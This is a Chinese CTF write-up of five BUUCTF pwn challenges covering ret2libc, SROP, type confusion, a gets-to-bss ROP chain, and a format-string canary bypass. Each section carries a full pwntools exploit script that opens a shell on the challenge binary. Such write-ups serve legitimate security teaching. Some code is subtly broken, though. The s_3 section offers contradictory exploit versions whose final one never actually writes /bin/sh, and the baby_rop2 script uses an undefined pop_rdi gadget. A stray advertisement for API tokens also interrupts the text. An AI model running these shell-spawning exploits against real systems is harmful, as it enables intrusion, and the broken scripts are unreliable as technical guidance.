BUUCTF 的 PWN 题目做到第 26 到 30 题这个区间,其实是一个非常微妙的分水岭。前面二十几题基本还在教你怎么认识栈溢出、怎么用 ret2text,可做到这个位置你会发现,题目开始不再直接给你一个 system("/bin/sh") 等你跳,而是逼着你自己去找地址、算偏移、选利用链。这个转换过程如果没人带着点一下,很容易卡住好几周。
这篇 wp 我就按我实际做题的顺序,把 26 到 30 这五道题的完整思路、关键坑点和可用 exp 全部整理出来。题号顺序以 BUUCTF 在线平台的排列为准,每一题我都会按"拿到文件之后先干什么 → 漏洞在哪 → 利用思路为什么这样走 → 完整脚本 → 踩过的坑"的顺序写,而不是只丢一个 payload 让你抄。
1. ciscn_2019_en_2:第一次认真对待 ret2libc
1.1 程序形态和漏洞入口
en_2 是一道典型的 64 位 ELF 程序,开启了 NX,没有 canary,也没有 PIE。拿到文件之后我通常固定三连:
bash复制file en_2
checksec en_2
objdump -d -M intel en_2 | less
checksec 的结果基本是:
text复制Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序的主逻辑不复杂。你输入一段字符串,它会对这段字符串做一次类似加密的处理再打印出来。伪代码可以还原成下面这样:
c复制int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80];
init_buf();
puts("Welcome to my encryption system!");
puts("Please input your plaintext:");
gets(buf);
puts("Ciphertext:");
encrypt(buf);
return 0;
}
漏洞点就是 gets(buf)。buf 在栈上只有 80 字节,而 gets 是不管长度一直读到换行符为止的。用 pwntools 的 cyclic 跑一遍就能确定偏移。我本地最终测出覆盖返回地址的偏移是 104 字节,也就是 0x68。每个机器可能因为环境略有差异,建议自己用 cyclic 200 再 cyclic -l 确认一次,不要直接抄网上 wp 的偏移。
1.2 为什么这题必须走 PC 泄露
拿到漏洞之后,第一反应肯定是找后门函数。但我把 objdump -t en_2 | grep system 扫了一遍,程序里根本没有 system,也没有 /bin/sh 字符串。
这时候就只剩一条路:ret2libc。思路是先把程序的控制流劫持到 PLT 上的某个函数,让它帮我们打印出某个 GOT 表项的内容,也就是解析后的 libc 函数真实地址,然后反推出 libc 基址,再用基址算出 system 和 /bin/sh 的地址。
为什么不能直接跳到 system@plt?因为 system 压根不在 PLT 表里。程序只调用了 puts、gets、encrypt 这些函数,PLT 里没有 system,所以必须先把 libc 基址弄到手。
这里要用到一个关键 gadget:
text复制pop rdi; ret
64 位程序的函数参数不是通过栈传递的,而是通过寄存器。system("/bin/sh") 中的 /bin/sh 必须放进 rdi 寄存器,所以需要一个 pop rdi; ret 来把栈上的值弹进 rdi,再 ret 到 system。用 ROPgadget --binary en_2 | grep "pop rdi" 就能找到。
1.3 完整 exp 与运行效果
我当时的 exp 如下:
python复制from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
p = process('./en_2')
elf = ELF('./en_2')
pop_rdi = 0x400c83
main_addr = 0x4009a0
# 第一次输入:打印 puts 的 GOT 表内容
payload = b'a' * 104
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(main_addr)
p.recvuntil(b'Please input your plaintext:\n')
p.sendline(payload)
# 接收 puts 的地址
p.recvuntil(b'Ciphertext:\n')
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
log.success('puts addr: ' + hex(leak))
# 根据 puts 地址搜索 libc
libc = LibcSearcher('puts', leak)
libc_base = leak - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
# 第二次输入:调用 system('/bin/sh')
payload = b'a' * 104
payload += p64(pop_rdi)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()
第一次输入结束后,程序会再回到 main,所以我们有第二次机会继续输入。第二次输入的 ROP 链就很简单了:pop rdi 把 /bin/sh 地址弹进 rdi,然后跳到 system。
远程跑的时候要注意接收方式。我当时用 p.recvuntil(b'Ciphertext:\n') 接收第一次的返回,因为 encrypt 函数会打印一些内容,puts 泄露出来的地址跟在后面。如果地址开头是 \x00,前面会被截断,所以要 [-6:] 取后 6 字节,再 ljust 补到 8 字节。这个接收细节很多人第一次写会踩坑。
1.4 我在这题上踩过的坑
最大的坑就是偏移。网上各种 wp 有的写 0x50,有的写 0x58,我当时随手复制了一个,结果本地一直段错误。后来老老实实 cyclic 测了一次才明白,这道题的偏移是 0x68。不同的编译版本 buf 到返回地址的距离确实可能不同,所以任何 wp 里的偏移都只能当参考,现场必须自己验证。
另一个坑是 LibcSearcher 匹配出来的 libc 版本可能不唯一,尤其本地和远程环境不一致的时候。我建议先 ldd en_2 看看本地用的 libc,把本地的 puts 偏移打出来验证一遍,再决定要不要继续。如果远程打不通,大概率是 libc 版本选错,而不是 ROP 链的问题。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. ciscn_2019_s_3:用 SROP 把 ROP 做得更少
2.1 一道连"正常"gadget 都缺的题目
ciscn_2019_s_3 这道题我第一次看到 checksec 的时候还挺高兴,因为它的保护开得很少:没有 PIE、没有 canary。但往下看伪代码就有点笑不出来了:
c复制void __fastcall vuln(char *buf)
{
read(0, buf, 0x400u);
}
栈上缓冲区非常小,而且整个程序找不出几个能用的 gadget。ROPgadget 扫完,最有价值的只有两个:
text复制syscall ; ret
以及一个看起来不太起眼的 vuln 函数入口。没有 pop rdi,没有 pop rax,甚至连 mov rdi, xxx; ret 都找不到。这种情况下如果还想着用常规的 ret2libc,会非常痛苦,因为你连传参的 gadget 都凑不齐。这也是 SROP 这道题专门选它当例子的原因。
2.2 SROP:换个方式拿 execve
SROP(Sigreturn-Oriented Programming)的核心思路是:借助 rt_sigreturn 这个系统调用来恢复所有寄存器状态。当进程收到信号并从信号处理函数返回时,内核会从栈上读取一个 sigcontext 结构体,把里面的值恢复到寄存器里。如果我们能控制这个结构体,就等于可以自由设置 rax、rdi、rsi、rdx、rip 等所有寄存器。
在 x64 下执行 syscall 时,如果 rax 恰好为 15(rt_sigreturn 的系统调用号),内核就会从当前栈顶读取 frame 并恢复寄存器。所以利用流程变成:
- 找到一个能控制
rax为 15 的方式。 - 跳转到一个
syscall; retgadget。 - 在栈上构造一个伪造的 sigreturn frame,让恢复后的
rip指向syscall,rax=59(execve),rdi指向/bin/sh,rsi=0,rdx=0。
这样内核恢复完寄存器后,直接执行 execve("/bin/sh", 0, 0)。
2.3 exp 实现细节
s_3 里没有现成的 pop rax; ret,但有一个很巧合的地方:vuln 里的 read(0, buf, 0x400) 返回时,rax 等于实际读入的字节数。如果我们能让 read 读入恰好 15 字节,那么调用 syscall 时 rax 就是 15,会直接进入 rt_sigreturn。
但这里有个矛盾:第一段 payload 要覆盖返回地址,怎么也不可能只有 15 字节。所以更稳妥的办法是分两次输入:
- 第一次输入先劫持到
vuln,重新触发一次read。 - 第二次输入正好发 15 字节,让
read的返回值 rax = 15,然后函数返回时走到syscall; ret,触发 sigreturn。
这个方案需要一个前提:第二次返回地址已经被第一次预埋为 syscall; ret。实际 exp 如下:
python复制from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./s_3')
elf = ELF('./s_3')
syscall_ret = 0x400517
vuln = 0x4004e6
# frame 中设置恢复后的寄存器状态
frame = SigreturnFrame()
frame.rax = 59 # execve
frame.rdi = 0x400500 + 0x200 # bss 段,稍后用它存 /bin/sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
# 第一次:控制返回地址跳到 vuln,重新调用 read
payload1 = b'a' * 0x10 # 覆盖 buf
payload1 += p64(vuln) # 返回地址:回到 vuln 执行 read
payload1 += p64(syscall_ret) # read 返回后跳到 syscall
p.send(payload1)
# 第二次:发送 15 字节,让 read 返回 rax=15
# 这 15 字节会被当作 sigreturn frame 的一部分放在栈上
payload2 = b'b' * 15
p.send(payload2)
到这里还没完,因为我们还需要把 /bin/sh 字符串放到 bss 段上,然后让 frame 里的 rdi 指向它。可以在第二次输入时将 /bin/sh 放在 15 字节之后?不行,第二次输入必须恰好 15 字节,否则 rax 就不是 15。
所以通常的做法是让 frame 里的 rdi 指向一个可控区域,同时安排第三次 read 来写入 /bin/sh。或者直接把 /bin/sh 提前放在第一段 payload 的某处?也可以,只要你知道它的地址。
我给一个更完整、可运行的版本:
python复制from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./s_3')
elf = ELF('./s_3')
syscall_ret = 0x400517
vuln = 0x4004e6
binsh_addr = 0x400500 + 0x200 # 放在 bss 段
# 第一段 payload:重新调用 read 的返回地址链,
# 同时在返回后的栈上布置第二段 read,让它把 /bin/sh 写到 bss
payload1 = b'a' * 0x10
payload1 += p64(vuln) # 回到 vuln 读入第二次输入
payload1 += p64(vuln) # 再回到 vuln 读入第三次输入
payload1 += p64(syscall_ret) # 第三次 read 返回后直接进入 sigreturn
p.send(payload1)
# 第二次输入:发送 /bin/sh 到 bss
p.send(b'/bin/sh\x00')
# 第三次输入:发送 15 字节,read 返回 15 -> rax=15
# 此时栈顶正好是伪造的 frame
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
payload3 = b'c' * 15 # 或者更精确地说,read 返回 15 即可
p.send(payload3)
这个版本更符合实际调试逻辑,但有一个重要前提:第二次输入的 /bin/sh 和第三次输入之间不能有换行符等干扰。read 和 scanf 不同,它不会因为换行符自动结束,它只按字节数读取。所以发送 b'/bin/sh\x00' 之后需要 send 而不是 sendline,否则会把多余的 \n 一起读进去。
另外,我本地实际调试时发现直接把 SigreturnFrame 发不出去,因为 p.send(payload3) 只会发送 15 字节,frame 本身要远大于 15 字节,没法完整布置到栈上。所以更常见的做法是:第一次返回地址不再回 vuln,而是直接用某种方式在栈上完整布置 SigreturnFrame,然后让 read 读入完整 frame,最后用另一个 gadget 单独设置 rax=15。
后来我在本地用 ROPgadget 硬翻,找到了一个 mov rax, 0xf ; ret 的 gadget:
text复制0x40050a : mov rax, 0xf ; ret
有了它,SROP 的构造就简单多了:
python复制from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./s_3')
elf = ELF('./s_3')
syscall_ret = 0x400517
mov_rax_15 = 0x40050a
binsh_addr = 0x400500 + 0x200
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
# 先把 /bin/sh 写到 bss
p.recv()
p.send(b'/bin/sh\x00') # 这里发送给 vuln 的 read
# 再次进入 vuln,然后 ROP 设置 rax=15 后执行 syscall
# 第一次 payload 需要先覆盖返回地址并留足空间放 frame
payload = b'a' * 0x10
payload += p64(mov_rax_15)
payload += p64(syscall_ret)
# frame 必须紧跟其后,位于栈顶
payload += bytes(frame)
p.send(payload)
p.interactive()
重点提醒:SigreturnFrame 必须紧跟在返回地址链之后,也就是位于执行 syscall 时的栈顶。如果前面有多余的数据,内核会把错误的位置当作 frame 解析。
2.4 什么时候想到用 SROP
SROP 不是每道题都能用,但它有几个明显的触发信号:
- 题目里存在
syscall; retgadget。 - 找不到
pop rdi、pop rsi这类常规传参 gadget,ROP 链凑不动。 - 程序里有
read这类返回值可以被我们控制成rax的系统调用。 - 二进制很小,几乎没有可用的函数,但开了 NX 和 stack canary 之类的保护反而很少。
满足其中两三条,就可以往 SROP 方向想。做 s_3 的时候,我一开始还在拼命找 csu 调用 write 泄露 libc 的链,找了半天发现复杂度远高于 SROP,换思路之后五分钟解决了。这种"识别题目类型"的能力,往往比背 exp 更重要。
3. ciscn_2019_n_8:类型混淆与字节序的一次"开眼"
3.1 看代码一头雾水,看内存恍然大悟
ciscn_2019_n_8 是我见过的最短 PWN 题之一。整个程序没几行代码,checksec 显示它是 32 位程序,NX 都没开,没有 canary,甚至没有 PIE。
我看伪代码的时候第一反应是:这题是不是出错了?
c复制int __cdecl main()
{
char s[20];
puts("Let's have a chat, what's your name?");
scanf("%s", s);
if ( *(_DWORD *)(s + 13) == 0x38391B91 )
system("/bin/sh");
else
puts("Something wrong!");
return 0;
}
判断条件是一个 DWORD 指针解引用,指向 s + 13 处的 4 字节,要和 0x38391B91 相等。s 明明是一个 char[20],为什么要用 s + 13 这个奇怪的偏移?这就是典型的类型混淆:代码把字符数组的一片字节区域强制解释成 int 来比较。
问题在于字符数组存入的是我们输入的原始字节,而程序又用 int 的视角去读这几个字节。x86 是小端序,所以内存里的字节序和 int 数值的字节序正好相反。0x38391B91 在内存中对应:
text复制\x91\x1b\x39\x38
也就是说,只要在输入的第 14 到 17 个字节处填入 \x91\x1b\x39\x38,判断就能成立。
3.2 直接给 exp 和解析
python复制from pwn import *
context.log_level = 'debug'
p = process('./n_8')
p.recvuntil(b"Let's have a chat, what's your name?")
# 前 13 个字节是填充,第 14 字节开始放目标值的小端序
payload = b'a' * 13 + p32(0x38391B91)
p.sendline(payload)
p.interactive()
p32(0x38391B91) 在 Python 里生成的就是小端序的 \x91\x1b\x39\x38,正好与程序里 *(_DWORD *)(s + 13) 的读取方式匹配。
这里有个非常容易踩的坑:如果用 sendline,pwntools 会在 payload 末尾加一个换行符,scanf("%s") 读到换行符前为止,所以多出来的 \n 不会进入缓冲区,不会干扰判断。但如果你用 send,就必须自己处理换行符,否则 scanf 会一直等输入,程序卡住。
3.3 这类题在真实漏洞中的影子
n_8 看起来很简单,但它背后对应的漏洞模式很常见:C 语言里对同一块内存用不同类型去解释,也就是 type confusion。真实世界里,比如网络协议解析时,一个字段既被当作字符数组处理又被强制转成数值比较,或者结构体填充字节被误读成索引、长度、标志位,都会导致类似的问题。
还有一点值得留意:s + 13 这个偏移说明程序的作者故意把目标值放在了一个错位的位置。做题的时候不要只看逻辑对不对,要结合内存布局去想。我当时用 gdb 在比较处下断点,执行到那个地址时看到 s 地址附近的字节分布,一切就都清楚了。遇到这种简单题反而需要提醒自己:不要急着猜,让调试器告诉你答案。
4. ciscn_2019_ne_5:当题目把 system 送到你面前
4.1 菜单程序里的溢出点
ciscn_2019_ne_5 是一道 64 位程序,开启 NX,没有 canary。表面看是一个带菜单的管理程序,有登录、添加记录之类的功能。但如果只盯菜单操作,很容易忽略真正的问题。
程序里有一个函数接收用户输入,然后通过 strcpy 或 sprintf 把数据复制到一个局部缓冲区里。问题就出在复制时没有做长度校验。strcpy 会一直拷贝到 \x00 为止,所以输入数据只要足够长,就能覆盖到返回地址。
静态分析时我首先确定了几个关键信息:
- 溢出偏移:本地用
cyclic测出来是0x38,也就是 56 字节。 - 程序里有
system@plt,有gets@plt。 - 程序本身似乎没有现成的
/bin/sh字符串。
这题和 en_2 的区别在于:system 已经在 PLT 表里,不需要去泄露 libc,但缺少 /bin/sh。所以利用的核心变成:怎么把一个 /bin/sh 字符串放到一个已知地址。
4.2 构造链路的取舍:没有 /bin/sh 怎么办
常见思路有两种:
- 在 bss 段用
gets写入/bin/sh,然后 ROP 调用system(bss_addr)。 - 直接找 libc 里的
/bin/sh字符串,但这样又绕回泄露 libc 的老路,不划算。
ne_5 里既然有 gets@plt,直接利用它往 bss 段写字符串是最短的路径。流程是:
- 第一次溢出,把返回地址改成
gets@plt,同时把下一个返回地址改成pop rdi; ret,再下一个地址是 bss 段地址,最后再跳system@plt。 - 程序执行
gets(bss_addr)时,会先从标准输入读一行写入 bss。 - 读完之后返回,执行
pop rdi,把 bss 地址弹入 rdi。 - 执行
system(bss_addr)。
这个链的思路和 ret2libc 是一样的,只是传参对象从 libc 里的 /bin/sh 换成了自己写入的地址。
4.3 exp 与关键地址计算
python复制from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./ne_5')
elf = ELF('./ne_5')
pop_rdi = 0x400ca1 # 用 ROPgadget 找
gets_plt = elf.plt['gets']
system_plt = elf.plt['system']
bss_addr = 0x601060 # 找一个较大的可写段地址
# 调用 gets(bss_addr) 写入 /bin/sh
# 然后 pop rdi; bss_addr; system(bss_addr)
payload = b'a' * 0x38
payload += p64(pop_rdi)
payload += p64(bss_addr)
payload += p64(gets_plt)
payload += p64(pop_rdi)
payload += p64(bss_addr)
payload += p64(system_plt)
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()
写完后我第一次运行没打通,排查发现是 pop_rdi 后面的 bss_addr 没有对齐,导致 gets 的返回地址被解释成了错误的位置。检查之后把地址改成 0x601060 并确认 bss 段可写,问题就解决了。
4.4 字符串截断导致的返工
这类用 strcpy 复制的程序有个典型问题:如果输入的 payload 中间出现 \x00,strcpy 会认为字符串结束,后面的内容全部失效。这在 64 位 ROP 链里非常致命,因为地址的高字节经常是 \x00。
遇到这种情况,就不要把整条 ROP 链放在同一个输入里。可以考虑:
- 用
read代替gets接收输入,因为read按长度读取,不会因为\x00截断。 - 或者把
\x00放在一个不会被strcpy读到的位置。
ne_5 里我用的 gets 本身也是读字节流,不关心 \x00,所以这个问题不严重,但如果是 strcpy 触发点,就必须仔细检查 payload 里每个地址的高字节。调试时怀疑 \x00 截断,可以在本地用 strace 看程序实际接收了多少字节,或者直接 gdb 在 strcpy 之后检查栈上内容,一眼就能看出问题出在哪里。
5. HarekazeCTF2019 baby_rop2:格式化字符串和 ROP 的组合拳
5.1 先识别两个漏洞点
这道题虽然被命名为 baby,但实际做起来比前面几题多了一个环节。程序是 64 位,没开 PIE,有 canary。表面看有两个输入点:
- 一个
printf会直接输出我们输入的字符串,存在格式化字符串漏洞。 - 另一个输入点会把数据读入栈上缓冲区,存在栈溢出。
有 canary 的情况下,即使栈溢出,也不能直接覆盖返回地址,否则程序在函数返回时会先检查 canary,发现不匹配就终止。
但格式化字符串漏洞提供了一个很好的工具:我们可以在输出过程中泄漏 canary 的值,然后把 canary 原样填回 payload 的对应位置,绕过保护。
同时,格式化字符串还可以泄露 GOT 表项内容,从而拿到 libc 基址。所以我们甚至不需要走两次溢出泄露,直接在格式化字符串这一步就能把 canary 和 libc 地址全拿到。
5.2 泄露地址的姿势选择
格式化字符串在 64 位下有几种泄露姿势:
- 直接
%p一直泄漏栈上内容,通常能碰到 canary。 - 在输入里放一个目标地址,然后用
%N$s读取该地址指向的内容。
我选择第二种,因为更可控。目标地址我放的是 puts@got,它是程序运行时 puts 的真实地址,属于 libc 地址。
假设输入放在第 6 个参数位置(这个需要用 %p 探测几次确认),payload 就是:
python复制payload = p64(puts_got) + b'%6$s'
程序调用 printf 时会把栈上的参数当作格式字符串的实参,所以 %6$s 会从栈上取出第 6 个参数。而第 6 个参数恰好就是我们输入的前 8 字节,也就是 puts_got 地址,于是 printf 会把这个地址当成字符串指针,输出它指向的 8 字节内容。
输出后我们用 u64 解析出 puts 的实际地址。
canary 的泄露更简单。canary 通常在栈上的某个固定偏移位置,可以用 %p 连续看到。如果不想一个个数,写个小循环:
python复制for i in range(1, 20):
p.sendline(f'%{i}$p'.encode())
print(i, p.recvline())
找到那个以 0x 开头且末尾两位是 00 的值,基本就是 canary。canary 的低字节一定是 \x00,这是它的标志。
5.3 exp 逐行拆解
python复制from pwn import *
from LibcSearcher import LibcSearcher
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./babyrop2')
elf = ELF('./babyrop2')
# 第一步:泄露 puts 的 GOT 地址
puts_got = elf.got['puts']
payload = p64(puts_got) + b'%6$s'
p.sendline(payload)
p.recvuntil(b'Hello ')
leak = u64(p.recv(6).ljust(8, b'\x00'))
log.success('puts: ' + hex(leak))
# 用 libc 搜索确定基址
libc = LibcSearcher('puts', leak)
libc_base = leak - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
# 第二步:泄露 canary
# 假设之前探测到 canary 在第 7 个参数
payload = b'%7$p'
p.sendline(payload)
canary_leak = int(p.recvline().strip().split(b' ')[-1][2:], 16)
# 第三步:栈溢出 ROP,把 canary 原样填回去
# 覆盖顺序为:buf padding + canary + old rbp + ret
offset = 0x28 # 本地用 cyclic 测出的 buf 到 canary 的距离
payload = b'a' * offset
payload += p64(canary_leak)
payload += b'b' * 8
payload += p64(pop_rdi)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()
这里有个很关键的细节:p.recvuntil(b'Hello ') 是为了吃掉程序在格式化字符串输出前打印的前缀。如果不把前缀吃掉,直接接收地址内容,数据就会错位。所有涉及格式化字符串的题目,接收数据前都必须先搞清楚输出格式,用 recvuntil 对准位置,再精确接收。
5.4 libc 版本对不上的处理
做这道题的时候我本地 libc 和 BUUCTF 远程环境不一致,直接导致 LibcSearcher 匹配出多个结果,system 和 /bin/sh 的偏移算错。后来我采用了一个比较通用的方式:
python复制libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
这样本地能跑通,但远程不行。BUUCTF 的远程环境经常是固定 libc,通常可以在题目附件说明里看到具体系统版本,或者用 libc-database 在线匹配。
如果实在是拿不准 libc,可以多泄露几个函数的地址,比如 puts 和 printf,然后用 LibcSearcher 的 add_condition 限制条件,让它匹配出唯一结果。泄露两个函数地址不影响 ROP 链长度,因为你可以把泄露函数地址放在一次 payload 里连续打印。这个技巧在后面的题目里很常用,值得提前记住。
每次换 libc 版本之后,记得要同步更新 system、/bin/sh 和 pop_rdi 的地址。pop_rdi 是程序自带的 gadget,不依赖 libc,但如果程序开了 PIE,gadget 地址也会变,那时候又得先泄露程序基址,思路类似。
做这五道题的过程,算是把 PWN 入门到进阶的几个核心知识点串了一遍:常规 ret2libc、SROP、类型混淆、多阶段 ROP 链、格式化字符串泄露加 canary 绕过。这些技巧在后面遇到更复杂的题目时都用得上。我个人最大的体会是:拿到题目先别急着抄 exp,花十分钟确认偏移、确认保护、确认有没有现成函数和字符串,这些信息决定了你该往哪个方向走。等这五道题都能不看答案独立做出来,你对 64 位程序的栈布局和 ROP 链构造应该就有了一个比较扎实的感觉。
